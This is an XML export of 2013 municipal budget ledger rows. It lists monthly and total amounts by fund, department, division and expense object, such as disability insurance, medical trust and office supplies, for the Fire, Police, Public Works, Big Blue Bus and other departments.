<row _id="1290"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>313</division_id><division_name>FIRE SUPPRESSION AND RESCUE</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>6684.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6684.0</total></row>
<row _id="1291"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>924.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>924.0</total></row>
<row _id="1292"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>2295.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2295.0</total></row>
<row _id="1293"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>18256.0</july><august>0</august><september>0.0</september><october>23.0</october><november>0</november><december>0</december><january>0.0</january><february>183</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>18462.0</total></row>
<row _id="1294"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>4672.0</july><august>0</august><september>0.0</september><october>-4.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4668.0</total></row>
<row _id="1295"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>4273.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>43</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4316.0</total></row>
<row _id="1296"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>11917.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>119</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>12036.0</total></row>
<row _id="1297"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>640</division_id><division_name>TRANSIT EXECUTIVE</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>2691.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-134</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2557.0</total></row>
<row _id="1298"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>3406.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-345</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3061.0</total></row>
<row _id="1299"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT CUSTOMER &amp; GOVT RELAT</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>5273.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>84</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5357.0</total></row>
<row _id="1300"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT CUSTOMER &amp; GOVT RELAT</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>8165.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>271</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>8436.0</total></row>
<row _id="1301"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>6752.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>86</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6838.0</total></row>
<row _id="1302"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>4849.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-22</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4827.0</total></row>
<row _id="1303"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>652</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>16413.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>164</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>16577.0</total></row>
<row _id="1304"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>653</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1955.0</july><august>115</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2070.0</total></row>
<row _id="1305"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>566991.0</object><object_description>CRIME PREVENTION - DONATION</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>1784.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1784.0</total></row>
<row _id="1306"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>400790.0</object><object_description>OUTDOOR DINING-TRANSIT MALL AR</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2013</fiscal_year><july>-70155.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-70155.0</total></row>
<row _id="1307"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>7794.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>78</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>7872.0</total></row>
<row _id="1308"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>40366.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>40366.0</total></row>
<row _id="1309"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>48374.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>48374.0</total></row>
<row _id="1310"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>66504.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>66504.0</total></row>
<row _id="1311"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1033.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1033.0</total></row>
<row _id="1312"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>3500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3500.0</total></row>
<row _id="1313"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522500.0</object><object_description>BOARDS AND COMMISSIONS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1859.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1859.0</total></row>
<row _id="1314"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>562332.0</object><object_description>GROWING PLACE-MPCDC</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>169506.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>169506.0</total></row>
<row _id="1315"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>564132.0</object><object_description>INDEPENDENT LIVING SERVICE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>164130.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>164130.0</total></row>
<row _id="1316"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>565231.0</object><object_description>GENERAL COMMUNITY LEGAL SRVCES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>410118.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>410118.0</total></row>
<row _id="1317"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>565261.0</object><object_description>OPCC-SOJOURN-GENERAL FUND</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>63246.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>63246.0</total></row>
<row _id="1318"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>522319.0</object><object_description>GENERAL OFFICE SUPPLIES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>7500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>7500.0</total></row>
<row _id="1319"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>522319.0</object><object_description>GENERAL OFFICE SUPPLIES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>17700.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>17700.0</total></row>
<row _id="1320"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>670</division_id><division_name>TRANSIT SAFETY &amp; TRAINING</division_name><object>522319.0</object><object_description>GENERAL OFFICE SUPPLIES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1712.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1712.0</total></row>
<row _id="1321"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>305</division_id><division_name>OPERATIONS DIVISION</division_name><object>511741.0</object><object_description>MEDICAL - POLICE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1576564.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1576564.0</total></row>
<row _id="1322"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>313</division_id><division_name>FIRE SUPPRESSION AND RESCUE</division_name><object>511745.0</object><object_description>MED TRUST - FIRE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>166531.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>166531.0</total></row>
<row _id="1323"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>8690.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>8690.0</total></row>
<row _id="1324"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>292470.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>292470.0</total></row>
<row _id="1325"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>207598.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-21731</february><march>0.0</march><april>4637</april><may>0</may><june>0.0</june><total>190504.0</total></row>
<row _id="1326"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>13867</april><may>0</may><june>0.0</june><total>13867.0</total></row>
<row _id="1327"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>616</division_id><division_name>PUBLIC AND BRANCH SERVICES</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>369205.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>369205.0</total></row>
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<row _id="1352"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>302</division_id><division_name>ANIMAL CONTROL UNIT</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>6258.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>63</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6321.0</total></row>
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<row _id="1354"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>4920.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4920.0</total></row>
<row _id="1355"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>42096.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>421</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>42517.0</total></row>
<row _id="1356"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>SPECIAL ENFORCEMENT DIV</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>8463.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>8463.0</total></row>
<row _id="1357"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>3576.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3576.0</total></row>
<row _id="1358"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>4403.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4403.0</total></row>
<row _id="1359"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>313</division_id><division_name>FIRE SUPPRESSION AND RESCUE</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>48891.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>489</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>49380.0</total></row>
<row _id="1360"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1353.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1353.0</total></row>
<row _id="1361"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>3240.0</july><august>0</august><september>0.0</september><october>-12.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3228.0</total></row>
